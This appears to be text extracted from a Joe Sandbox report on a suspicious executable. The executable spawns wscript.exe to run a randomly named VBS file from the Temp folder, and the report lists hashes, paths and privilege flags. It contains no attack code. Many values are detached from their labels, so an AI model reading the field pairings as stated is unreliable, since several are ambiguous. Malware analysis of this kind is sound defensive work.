Registry Activities Show Windows behavior
Key Value Created
Analysis Process: Fec9qUX4at.exe PID: 1152 Parent PID: 1304
General
Start time: 09:51:04
Start date: 03/08/2021
Path: C:\Users\user\Desktop\Fec9qUX4at.exe
Wow64 process (32bit): true
Commandline: ‘C:\Users\user\Desktop\Fec9qUX4at.exe'
Imagebase: 0x400000
File size: 114688 bytes
MDS5 hash: 2046B941817392E3815535FCCB1F39DC

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

Copyright Joe Security LLC 2021

true
true
C, C++ or other language

low

Show Windows behavior
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File Deleted

File Written

File Read

Registry Activities

Key Created

Key Value Created

Show Windows behavior

Analysis Process: wscript.exe PID: 808 Parent PID: 1152

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:
MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Reputation:

File Activities

File Deleted

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

09:52:15

03/08/2021
C:\Windows\SysWOW64\wscript.exe
true

‘C:\Windows\System32\WScript.exe' ‘'C:\Users\user\AppData\Local\Temp\wghhwuvojbjz
ckdf.vbs'

0x1090000

147456 bytes
7075DD7B9BE8807FCA93ACD86F724884
true

true

C, C++ or other language

high

Show Windows behavior

Joe Sandbox Cloud Basic 33.0.0 White Diamond
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